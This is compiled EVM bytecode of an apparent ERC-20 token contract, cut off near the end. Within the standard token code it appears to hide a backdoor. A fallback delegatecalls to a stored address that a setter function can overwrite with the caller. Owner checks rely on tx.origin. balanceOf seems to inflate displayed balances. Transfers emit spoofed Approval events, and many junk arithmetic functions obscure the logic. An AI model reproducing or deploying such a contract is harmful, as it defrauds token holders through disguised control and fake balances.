0x60806040526004361061023f5760003560e01c80637b3acdae1161012e578063c7b74c34116100ab578063e69850f01161006f578063e69850f01461091b578063f2fde38b14610946578063f5513bd71461096f578063fbc04bc71461099a578063fcd8230a146109c557610246565b8063c7b74c3414610832578063ceddc9b61461085d578063d513124114610888578063dd62ed3e146108b3578063dfc37276146108f057610246565b806394137be2116100f257806394137be21461073757806395d89b41146107625780639da98d651461078d578063a457c2d7146107b8578063a9059cbb146107f557610246565b80637b3acdae14610660578063889afb2d1461068b5780638da5cb5b146106b65780638dd95002146106e1578063941200fb1461070c57610246565b806331e105d0116101bc578063664160f511610180578063664160f51461058d57806370a08231146105b8578063715018a6146105f5578063779980b41461060c578063782f2e631461063557610246565b806331e105d0146104a457806339509351146104cf578063425a6dff1461050c57806348e9f1fd146105375780634c8b54a31461056257610246565b806321d119f01161020357806321d119f0146103bb57806323b872dd146103e65780632a93219c146104235780632e9f0b291461044e578063313ce5671461047957610246565b806305686dc8146102d257806306fdde03146102fd578063095ea7b31461032857806318160ddd146103655780631dc969941461039057610246565b3661024657005b34801561025257600080fd5b50600080368080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505090506004600802600460200182015114156102cf576020600082516008600402840130545af46102c957600080fd5b60206000f35b50005b3480156102de57600080fd5b506102e76109f0565b6040516102f49190613cb9565b60405180910390f35b34801561030957600080fd5b50610312610ae2565b60405161031f9190613b77565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190613851565b610bd4565b60405161035c9190613b5c565b60405180910390f35b34801561037157600080fd5b5061037a610bf7565b6040516103879190613cb9565b60405180910390f35b34801561039c57600080fd5b506103a5610c7f565b6040516103b29190613cb9565b60405180910390f35b3480156103c757600080fd5b506103d0610d71565b6040516103dd9190613cb9565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906137fe565b610ef4565b60405161041a9190613b5c565b60405180910390f35b34801561042f57600080fd5b50610438610f23565b6040516104459190613cb9565b60405180910390f35b34801561045a57600080fd5b50610463610ff8565b6040516104709190613cb9565b60405180910390f35b34801561048557600080fd5b5061048e6110ea565b60405161049b9190613cd4565b60405180910390f35b3480156104b057600080fd5b506104b96111af565b6040516104c69190613cb9565b60405180910390f35b3480156104db57600080fd5b506104f660048036038101906104f19190613851565b6112a1565b6040516105039190613b5c565b60405180910390f35b34801561051857600080fd5b506105216112d8565b60405161052e9190613cb9565b60405180910390f35b34801561054357600080fd5b5061054c611495565b6040516105599190613cb9565b60405180910390f35b34801561056e57600080fd5b506105776115a4565b6040516105849190613cb9565b60405180910390f35b34801561059957600080fd5b506105a261163f565b6040516105af9190613cb9565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190613791565b6117a5565b6040516105ec9190613cb9565b60405180910390f35b34801561060157600080fd5b5061060a61190c565b005b34801561061857600080fd5b50610633600480360381019061062e9190613891565b611a69565b005b34801561064157600080fd5b5061064a611b14565b6040516106579190613cb9565b60405180910390f35b34801561066c57600080fd5b50610675611bcc565b6040516106829190613cb9565b60405180910390f35b34801561069757600080fd5b506106a0611d89565b6040516106ad9190613cb9565b60405180910390f35b3480156106c257600080fd5b506106cb611eb5565b6040516106d89190613b41565b60405180910390f35b3480156106ed57600080fd5b506106f6611fb8565b6040516107039190613b41565b60405180910390f35b34801561071857600080fd5b50610721611fd0565b60405161072e9190613cb9565b60405180910390f35b34801561074357600080fd5b5061074c612088565b6040516107599190613cb9565b60405180910390f35b34801561076e57600080fd5b50610777612123565b6040516107849190613b77565b60405180910390f35b34801561079957600080fd5b506107a2612215565b6040516107af9190613cb9565b60405180910390f35b3480156107c457600080fd5b506107df60048036038101906107da9190613851565b612341565b6040516107ec9190613b5c565b60405180910390f35b34801561080157600080fd5b5061081c60048036038101906108179190613851565b6123b8565b6040516108299190613b5c565b60405180910390f35b34801561083e57600080fd5b506108476123db565b6040516108549190613cb9565b60405180910390f35b34801561086957600080fd5b50610872612493565b60405161087f9190613cb9565b60405180910390f35b34801561089457600080fd5b5061089d6125a2565b6040516108aa9190613cb9565b60405180910390f35b3480156108bf57600080fd5b506108da60048036038101906108d591906137be565b6126b1565b6040516108e79190613cb9565b60405180910390f35b3480156108fc57600080fd5b50610905612738565b6040516109129190613cb9565b60405180910390f35b34801561092757600080fd5b506109306128d7565b60405161093d9190613cb9565b60405180910390f35b34801561095257600080fd5b5061096d60048036038101906109689190613791565b6129c9565b005b34801561097b57600080fd5b50610984612aba565b6040516109919190613cb9565b60405180910390f35b3480156109a657600080fd5b506109af612b72565b6040516109bc9190613cb9565b60405180910390f35b3480156109d157600080fd5b506109da612c81565b6040516109e79190613cb9565b60405180910390f35b600080627b951f811115610a05576002810490505b62478dee627b951f0190506290fab2811115610a22576002810490505b624f39236290fab203905062315f18811115610a3f576002810490505b6203495562315f180390506278e024811115610a5c576002810490505b622fc6b66278e024029050623c51cf811115610a79576002810490505b62038a4a623c51cf029050627c1cf2811115610a96576002810490505b621bf3ad627c1cf20190506260f813811115610ab3576002810490505b620463ba6260f8130690506265dcdc811115610ad0576002810490505b622a30a56265dcdc0490508091505090565b606060006237d49981610af59190613d77565b905061254f8111610b0557600080fd5b622a885481610b149190613d77565b9050611d158111610b2457600080fd5b623968fb81610b339190613d77565b9050610d3e8111610b4357600080fd5b60058054610b5090613ef2565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7c90613ef2565b8015610bc95780601f10610b9e57610100808354040283529160200191610bc9565b820191906000526020600020905b815481529060010190602001808311610bac57829003601f168201915b505050505091505090565b600080610bdf612d90565b9050610bec818585612d98565b600191505092915050565b600080621f11f681610c099190613d77565b90506124088111610c1957600080fd5b621cba9581610c289190613d77565b9050611ac38111610c3857600080fd5b6252c5c981610c479190613d77565b90506103f38111610c5757600080fd5b623b3c0f81610c669190613d77565b90506124748111610c7657600080fd5b60035491505090565b60008062467c1c811115610c94576002810490505b6207bb4062467c1c0390506272c35c811115610cb1576002810490505b6227cf5d6272c35c019050626c1b24811115610cce576002810490505b6223c468626c1b240690506297c744811115610ceb576002810490505b625433466297c7440690506296af4c811115610d08576002810490505b620ad6e86296af4c0690506237d9a2811115610d25576002810490505b622e37b66237d9a2049050624e3f18811115610d42576002810490505b622bdcf7624e3f18069050629860bf811115610d5f576002810490505b623378a8629860bf0490508091505090565b6000806272ae2e811115610d86576002810490505b6248e6ff6272ae2e0690506220ef9b811115610da3576002810490505b62010f9e6220ef9b0290506275fc54811115610dc0576002810490505b624d3ec16275fc54029050625f8660811115610ddd576002810490505b6202dcc7625f866003905062852822811115610dfa576002810490505b623de62162852822049050627f4a56811115610e17576002810490505b62179b43627f4a5602905062715afd811115610e34576002810490505b625768dc62715afd0690506254c231811115610e51576002810490505b62386d406254c2310690506297dd0d811115610e6e576002810490505b6235b6f26297dd0d069050628c73a4811115610e8b576002810490505b62435f58628c73a4069050625f6ef9811115610ea8576002810490505b623da227625f6ef906905062293add811115610ec5576002810490505b6217ea2162293add039050626e9dd5811115610ee2576002810490505b62040076626e9dd50390508091505090565b600080610eff612d90565b9050610f0c858285612fc3565b610f1785858561304f565b60019150509392505050565b6000806283356b811115610f38576002810490505b62514b2e6283356b039050627e94c3811115610f55576002810490505b620c9a83627e94c303905062576931811115610f72576002810490505b620621d962576931029050624968e8811115610f8f576002810490505b6208c569624968e8039050624e7048811115610fac576002810490505b62016403624e70480490506250b8fb811115610fc9576002810490505b621cd5e16250b8fb02905062632c0f811115610fe6576002810490505b62369d1562632c0f0690508091505090565b600080626d7bac81111561100d576002810490505b6205e572626d7bac069050624d9ac281111561102a576002810490505b622d7f29624d9ac2049050628221ab811115611047576002810490505b62222eba628221ab04905062904a9b811115611064576002810490505b6237c80062904a9b069050626a04f3811115611081576002810490505b62524e24626a04f3019050624ee7d781111561109e576002810490505b6220d8e3624ee7d7049050624e6f7b8111156110bb576002810490505b6208c753624e6f7b039050620a629a8111156110d8576002810490505b6209a71f620a629a0190508091505090565b600080623ee296816110fc9190613d77565b905061261b811161110c57600080fd5b624d44648161111b9190613d77565b905061164f811161112b57600080fd5b622f100b8161113a9190613d77565b9050611f03811161114a57600080fd5b625008b8816111599190613d77565b90506107bd811161116957600080fd5b6213d895816111789190613d77565b90506110cc811161118857600080fd5b6227c601816111979190613d77565b905061184281116111a757600080fd5b600991505090565b600080625e0cd28111156111c4576002810490505b621f8a63625e0cd202905062578fb28111156111e1576002810490505b624b80a862578fb2039050628b116e8111156111fe576002810490505b6257002d628b116e039050622a9de381111561121b576002810490505b62065a35622a9de302905062749f0a811115611238576002810490505b6206ffa962749f0a03905062978959811115611255576002810490505b6236c45d62978959039050626e03b5811115611272576002810490505b62163083626e03b50290506219b41081111561128f576002810490505b62073c8c6219b4100390508091505090565b6000806112ac612d90565b90506112cd8185856112be85896126b1565b6112c89190613d77565b612d98565b600191505092915050565b600080627083738111156112ed576002810490505b6248b21a62708373049050628631a281111561130a576002810490505b620e5e23628631a203905062839075811115611327576002810490505b6253b64562839075049050627213e8811115611344576002810490505b624bd7cd627213e8029050627a4e4d811115611361576002810490505b620630bf627a4e4d049050626581b081111561137e576002810490505b625a2f1d626581b00690506272b12781111561139b576002810490505b620cbb256272b127029050621236618111156113b8576002810490505b620aa604621236610390506235760b8111156113d5576002810490505b62344b846235760b01905062519cb88111156113f2576002810490505b62252c7962519cb8029050621ac93181111561140f576002810490505b620eddd9621ac9310190506282954581111561142c576002810490505b624b5024628295450390506251a54e811115611449576002810490505b6247f31e6251a54e039050628dafb2811115611466576002810490505b6235bdc3628dafb2049050627b50cf811115611483576002810490505b6222bfb9627b50cf0290508091505090565b60008062105f218111156114aa576002810490505b6201bd5662105f210390506273f7288111156114c7576002810490505b621937996273f72801905062495c818111156114e4576002810490505b622c578f62495c8103905062910f71811115611501576002810490505b622924c262910f71049050628c8f0281111561151e576002810490505b62297db5628c8f0203905062457fd181111561153b576002810490505b6215723062457fd10190506242e2f2811115611558576002810490505b62390d6b6242e2f2039050624a4819811115611575576002810490505b6244d043624a48190390506258adb3811115611592576002810490505b625020c86258adb30290508091505090565b60008062813cb08111156115b9576002810490505b620f75eb62813cb0019050625ed8368111156115d6576002810490505b625980fd625ed836069050627664338111156115f3576002810490505b6231c05662766433069050627a19b2811115611610576002810490505b621a9613627a19b2039050629880db81111561162d576002810490505b624e84a1629880db0390508091505090565b60008062242ba5811115611654576002810490505b62069ea562242ba5039050627c0d4c811115611671576002810490505b620f4162627c0d4c069050623149a281111561168e576002810490505b622a2ec4623149a206905062934d4b8111156116ab576002810490505b62143ba462934d4b019050628657018111156116c8576002810490505b622f521c62865701049050628e2d598111156116e5576002810490505b621a6022628e2d59069050626a4fbd811115611702576002810490505b6255a4ff626a4fbd0390506287d6f681111561171f576002810490505b624ab8a46287d6f60290506215e38781111561173c576002810490505b6215c6556215e387049050624d9a60811115611759576002810490505b6219e046624d9a60049050626c7cba811115611776576002810490505b62159276626c7cba069050624d5634811115611793576002810490505b6247c802624d56340490508091505090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561181a57600061180761331b565b905060205481101561181857600080fd5b505b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118b757600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611907565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119049190613f55565b90505b919050565b3273ffffffffffffffffffffffffffffffffffffffff1661192b611eb5565b73ffffffffffffffffffffffffffffffffffffffff1614611981576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197890613c39565b60405180910390fd5b6000624d901b816119929190613d77565b9050611e1381116119a257600080fd5b6201e007816119b19190613d77565b9050611bfa81116119c157600080fd5b620b19f5816119d09190613d77565b905061188f81116119e057600080fd5b6221d897816119ef9190613d77565b905061122081116119ff57600080fd5b6232f2e481611a0e9190613d77565b90506110168111611a1e57600080fd5b6210dba781611a2d9190613d77565b90506108978111611a3d57600080fd5b6248700681611a4c9190613d77565b90506101a98111611a5c57600080fd5b611a66600061342d565b50565b3273ffffffffffffffffffffffffffffffffffffffff16611a88611eb5565b73ffffffffffffffffffffffffffffffffffffffff1614611ade576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ad590613c39565b60405180910390fd5b8160069080519060200190611af492919061363f565b508260059080519060200190611b0b92919061363f565b50333055505050565b6000806288173d811115611b29576002810490505b624fef4c6288173d03905062624f75811115611b46576002810490505b620748d362624f750290506297f6dc811115611b63576002810490505b623071746297f6dc06905062630c44811115611b80576002810490505b6213890862630c440390506265b1c6811115611b9d576002810490505b624290be6265b1c60690506275b60a811115611bba576002810490505b624173fa6275b60a0290508091505090565b600080623a5fda811115611be1576002810490505b621d28d8623a5fda039050621b6317811115611bfe576002810490505b620afaeb621b6317019050623c395b811115611c1b576002810490505b6239e9db623c395b029050628a1463811115611c38576002810490505b6235895f628a14630190506263e656811115611c55576002810490505b62439f416263e65601905062903638811115611c72576002810490505b625a1a3f6290363801905062554bf3811115611c8f576002810490505b623cdf8162554bf304905062753d06811115611cac576002810490505b6259a37362753d06019050622210bf811115611cc9576002810490505b6209de5f622210bf039050625b0b41811115611ce6576002810490505b62264ecc625b0b410190506281eab1811115611d03576002810490505b6253dcdb6281eab1069050624ebeeb811115611d20576002810490505b624d988d624ebeeb02905062927c1b811115611d3d576002810490505b622d590d62927c1b03905062659c88811115611d5a576002810490505b625591e662659c8802905062678562811115611d77576002810490505b622fbdec626785620190508091505090565b600080623580b6811115611d9e576002810490505b6206227d623580b6029050621f8d5a811115611dbb576002810490505b620dce45621f8d5a039050628d57b1811115611dd8576002810490505b6259302e628d57b1049050626bf9ff811115611df5576002810490505b624de064626bf9ff02905062664a5f811115611e12576002810490505b620282a262664a5f04905062660711811115611e2f576002810490505b6232ead2626607110490506255ccd8811115611e4c576002810490505b623b98826255ccd8069050623fb27f811115611e69576002810490505b621e6e08623fb27f049050627443a6811115611e86576002810490505b62379501627443a6039050626c8614811115611ea3576002810490505b6218d154626c86140290508091505090565b600080622c986881611ec79190613d77565b90506119d98111611ed757600080fd5b621d9e6781611ee69190613d77565b905061143b8111611ef657600080fd5b62321b5c81611f059190613d77565b9050610a248111611f1557600080fd5b62422b3081611f249190613d77565b9050610dfa8111611f3457600080fd5b6253b3db81611f439190613d77565b9050611d888111611f5357600080fd5b621e567e81611f629190613d77565b90506121198111611f7257600080fd5b623e35a081611f819190613d77565b90506103968111611f9157600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691505090565b73bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c81565b6000806231661b811115611fe5576002810490505b6206bd5b6231661b049050624498f4811115612002576002810490505b62231825624498f40490506283085f81111561201f576002810490505b6238a7266283085f029050627147ca81111561203c576002810490505b6201811a627147ca069050625057d4811115612059576002810490505b620f4fe2625057d40190506295ed5b811115612076576002810490505b6221986f6295ed5b0190508091505090565b60008062272a8681111561209d576002810490505b6223068162272a86029050625576db8111156120ba576002810490505b62039a6a625576db069050627fd3a08111156120d7576002810490505b624499f2627fd3a0019050626c23718111156120f4576002810490505b6212d956626c237101905062732362811115612111576002810490505b621e1b0e627323620390508091505090565b60606000621b6d37816121369190613d77565b9050610939811161214657600080fd5b621faa09816121559190613d77565b9050611cb3811161216557600080fd5b624a71bb816121749190613d77565b905061155c811161218457600080fd5b6006805461219190613ef2565b80601f01602080910402602001604051908101604052809291908181526020018280546121bd90613ef2565b801561220a5780601f106121df5761010080835404028352916020019161220a565b820191906000526020600020905b8154815290600101906020018083116121ed57829003601f168201915b505050505091505090565b6000806268cefa81111561222a576002810490505b624fc2f76268cefa069050628c8ca4811115612247576002810490505b622bfcb7628c8ca4069050623cc2ed811115612264576002810490505b6215cc46623cc2ed019050626310e7811115612281576002810490505b620cf09a626310e70290506244b30581111561229e576002810490505b6234c7416244b30502905062938d328111156122bb576002810490505b624c1da962938d32039050628cd3ed8111156122d8576002810490505b625392f9628cd3ed0690506273a8d28111156122f5576002810490505b62598f946273a8d20690506297cd63811115612312576002810490505b62126ee86297cd630390506259a71881111561232f576002810490505b6231235b6259a7180490508091505090565b60008061234c612d90565b9050600061235a82866126b1565b90508381101561239f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239690613c99565b60405180910390fd5b6123ac8286868403612d98565b60019250505092915050565b6000806123c3612d90565b90506123d081858561304f565b600191505092915050565b6000806271ffe88111156123f0576002810490505b623e6e756271ffe801905062723b3881111561240d576002810490505b624b7b7c62723b38029050626afc8781111561242a576002810490505b6232781b626afc87019050628f9694811115612447576002810490505b6248ab12628f96940290506267870a811115612464576002810490505b6214518f6267870a019050628cdfde811115612481576002810490505b62569f00628cdfde0390508091505090565b60008062980fc28111156124a8576002810490505b623d8d3762980fc20690506263491b8111156124c5576002810490505b623c39f96263491b039050625e67488111156124e2576002810490505b620b3208625e674801905062604e828111156124ff576002810490505b623fd8e962604e82069050627e5b2581111561251c576002810490505b624be9c0627e5b2504905062631efa811115612539576002810490505b621a08e362631efa03905062918070811115612556576002810490505b62142f096291807001905062761ad2811115612573576002810490505b6240877962761ad2029050625fabeb811115612590576002810490505b625a8a57625fabeb0490508091505090565b60008062131e8f8111156125b7576002810490505b620bf62d62131e8f029050628f17028111156125d4576002810490505b623ed4c5628f17020690506280929d8111156125f1576002810490505b6223a6cd6280929d04905062335e3381111561260e576002810490505b6212575962335e330290506262485581111561262b576002810490505b62557764626248550690506243e395811115612648576002810490505b620485286243e395069050626b2966811115612665576002810490505b6217259b626b2966019050623a6622811115612682576002810490505b622a1949623a6622029050625b873c81111561269f576002810490505b6218853f625b873c0690508091505090565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080625d8e9d81111561274d576002810490505b62425fab625d8e9d0290506235840381111561276a576002810490505b6225a875623584030490506291144b811115612787576002810490505b622248096291144b029050627713498111156127a4576002810490505b623cd8b862771349029050624d89ec8111156127c1576002810490505b623a6fbc624d89ec039050620488fc8111156127de576002810490505b6132bd620488fc0190506234b5a08111156127fa576002810490505b6218f3c76234b5a00390506254fe3e811115612817576002810490505b625312296254fe3e0490506257ae0a811115612834576002810490505b62429ff36257ae0a01905062633132811115612851576002810490505b6223f30d626331320290506289ef8d81111561286e576002810490505b6259e6266289ef8d0290506256f34e81111561288b576002810490505b6250b4d96256f34e06905062881cb58111156128a8576002810490505b623a457762881cb5039050628a466f8111156128c5576002810490505b625573f6628a466f0490508091505090565b6000806284c50f8111156128ec576002810490505b6243eb326284c50f04905062928192811115612909576002810490505b6203a65762928192019050628f20fc811115612926576002810490505b62331495628f20fc0290506287ab34811115612943576002810490505b621e4a966287ab34029050628726b7811115612960576002810490505b62458585628726b706905062377c5c81111561297d576002810490505b620f882c62377c5c029050626ebd9981111561299a576002810490505b62548c82626ebd99049050627ff4798111156129b7576002810490505b625ace66627ff4790390508091505090565b3273ffffffffffffffffffffffffffffffffffffffff166129e8611eb5565b73ffffffffffffffffffffffffffffffffffffffff1614612a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3590613c39565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa590613bb9565b60405180910390fd5b612ab78161342d565b50565b60008062788ffd811115612acf576002810490505b6254801562788ffd0490506287d44a811115612aec576002810490505b624d18f26287d44a019050629012f0811115612b09576002810490505b6256e41c629012f001905062434515811115612b26576002810490505b6229c7e5624345150390506223e0a8811115612b43576002810490505b6221d7ac6223e0a801905062946705811115612b60576002810490505b62545b04629467050190508091505090565b6000806234ba15811115612b87576002810490505b6226991b6234ba1501905062829f49811115612ba4576002810490505b6231ad2162829f49069050626324d5811115612bc1576002810490505b6228d6f9626324d506905062466dcf811115612bde576002810490505b622c0ce362466dcf029050622f580f811115612bfb576002810490505b621ff5d0622f580f029050628734d2811115612c18576002810490505b623e97bb628734d2019050625b0251811115612c35576002810490505b62147ddf625b0251069050628f100a811115612c52576002810490505b62461235628f100a019050625f0123811115612c6f576002810490505b6228da4d625f01230690508091505090565b6000806292afad811115612c96576002810490505b620b76186292afad029050626d66d4811115612cb3576002810490505b621a57bf626d66d4069050628992c4811115612cd0576002810490505b62318c51628992c40490506219a009811115612ced576002810490505b6201c2216219a009019050621f2d87811115612d0a576002810490505b620a6061621f2d870390506284c297811115612d27576002810490505b6219c7f36284c297019050623f1973811115612d44576002810490505b623638e5623f19730190506295b933811115612d61576002810490505b62536fac6295b933029050624afc69811115612d7e576002810490505b6242b74a624afc690290508091505090565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612e08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dff90613c79565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e6f90613bd9565b60405180910390fd5b6000621712ae81612e899190613d77565b905061056a8111612e9957600080fd5b624a849681612ea89190613d77565b90506122098111612eb857600080fd5b6258d9ba81612ec79190613d77565b9050610d2f8111612ed757600080fd5b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051612fb59190613cb9565b60405180910390a350505050565b6000612fcf84846126b1565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114613049578181101561303b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161303290613bf9565b60405180910390fd5b6130488484848403612d98565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156130bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130b690613c59565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561312857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b613167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161315e90613b99565b60405180910390fd5b6131728383836134f1565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156131f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131f090613c19565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132489190613e27565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461329e9190613d77565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516133029190613cb9565b60405180910390a36133158484846134f6565b50505050565b60008073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c73ffffffffffffffffffffffffffffffffffffffff166370a08231600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516024016133819190613b41565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516133cf9190613b2a565b600060405180830381855afa9150503d806000811461340a576040519150601f19603f3d011682016040523d82523d6000602084013e61340f565b606091505b5091505080806020019051810190613427919061391c565b91505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b60fe6003546135059190613dcd565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561355557600060205561363a565b600354600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541080156135f35750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613639578060005230827f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560206000a361270f54828161271001558060010161270f55505b5b505050565b82805461364b90613ef2565b90600052602060002090601f01602090048101928261366d57600085556136b4565b82601f1061368657805160ff19168380011785556136b4565b828001600101855582156136b4579182015b828111156136b3578251825591602001919060010190613698565b5b5090506136c191906136c5565b5090565b5b808211156136de5760008160009055506001016136c6565b5090565b60006136f56136f084613d14565b613cef565b90508281526020810184848401111561371157613710614047565b5b61371c848285613eb0565b509392505050565b600081359050613733816142bc565b92915050565b600082601f83011261374e5761374d614042565b5b813561375e8482602086016136e2565b91505092915050565b600081359050613776816142d3565b92915050565b60008151905061378b816142d3565b92915050565b6000602082840312156137a7576137a6614051565b5b60006137b584828501613724565b91505092915050565b600080604083850312156137d5576137d4614051565b5b60006137e385828601613724565b92505060206137f485828601613724565b9150509250929050565b60008060006060848603121561381757613816614051565b5b600061382586828701613724565b935050602061383686828701613724565b925050604061384786828701613767565b9150509250925092565b6000806040838503121561386857613867614051565b5b600061387685828601613724565b925050602061388785828601613767565b9150509250929050565b6000806000606084860312156138aa576138a9614051565b5b600084013567ffffffffffffffff8111156138c8576138c761404c565b5b6138d486828701613739565b935050602084013567ffffffffffffffff8111156138f5576138f461404c565b5b61390186828701613739565b925050604061391286828701613767565b9150509250925092565b60006020828403121561393257613931614051565b5b60006139408482850161377c565b91505092915050565b61395281613e5b565b82525050565b61396181613e6d565b82525050565b600061397282613d45565b61397c8185613d5b565b935061398c818560208601613ebf565b80840191505092915050565b60006139a382613d50565b6139ad8185613d66565b93506139bd818560208601613ebf565b6139c681614056565b840191505092915050565b60006139de602383613d66565b91506139e982614067565b604082019050919050565b6000613a01602683613d66565b9150613a0c826140b6565b604082019050919050565b6000613a24602283613d66565b9150613a2f82614105565b604082019050919050565b6000613a47601d83613d66565b9150613a5282614154565b602082019050919050565b6000613a6a601f83613d66565b9150613a758261417d565b602082019050919050565b6000613a8d602083613d66565b9150613a98826141a6565b602082019050919050565b6000613ab0602583613d66565b9150613abb826141cf565b604082019050919050565b6000613ad3602483613d66565b9150613ade8261421e565b604082019050919050565b6000613af6602583613d66565b9150613b018261426d565b604082019050919050565b613b1581613e99565b82525050565b613b2481613ea3565b82525050565b6000613b368284613967565b915081905092915050565b6000602082019050613b566000830184613949565b92915050565b6000602082019050613b716000830184613958565b92915050565b60006020820190508181036000830152613b918184613998565b905092915050565b60006020820190508181036000830152613bb2816139d1565b9050919050565b60006020820190508181036000830152613bd2816139f4565b9050919050565b60006020820190508181036000830152613bf281613a17565b9050919050565b60006020820190508181036000830152613c1281613a3a565b9050919050565b60006020820190508181036000830152613c3281613a5d565b9050919050565b60006020820190508181036000830152613c5281613a80565b9050919050565b60006020820190508181036000830152613c7281613aa3565b9050919050565b60006020820190508181036000830152613c9281613ac6565b9050919050565b60006020820190508181036000830152613cb281613ae9565b9050919050565b6000602082019050613cce6000830184613b0c565b92915050565b6000602082019050613ce96000830184613b1b565b92915050565b6000613cf9613d0a565b9050613d058282613f24565b919050565b6000604051905090565b600067ffffffffffffffff821115613d2f57613d2e614013565b5b613d3882614056565b9050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000613d8282613e99565b9150613d8d83613e99565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613dc257613dc1613f86565b5b828201905092915050565b6000613dd882613e99565b9150613de383613e99565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613e1c57613e1b613f86565b5b828202905092915050565b6000613e3282613e99565b9150613e3d83613e99565b925082821015613e5057613e4f613f86565b5b828203905092915050565b6000613e6682613e79565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015613edd578082015181840152602081019050613ec2565b83811115613eec576000848401525b50505050565b60006002820490506001821680613f0a57607f821691505b60208210811415613f1e57613f1d613fe4565b5b50919050565b613f2d82614056565b810181811067ffffffffffffffff82111715613f4c57613f4b614013565b5b80604052505050565b6000613f6082613e99565b9150613f6b83613e99565b925082613f7b57613f7a613fb5565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e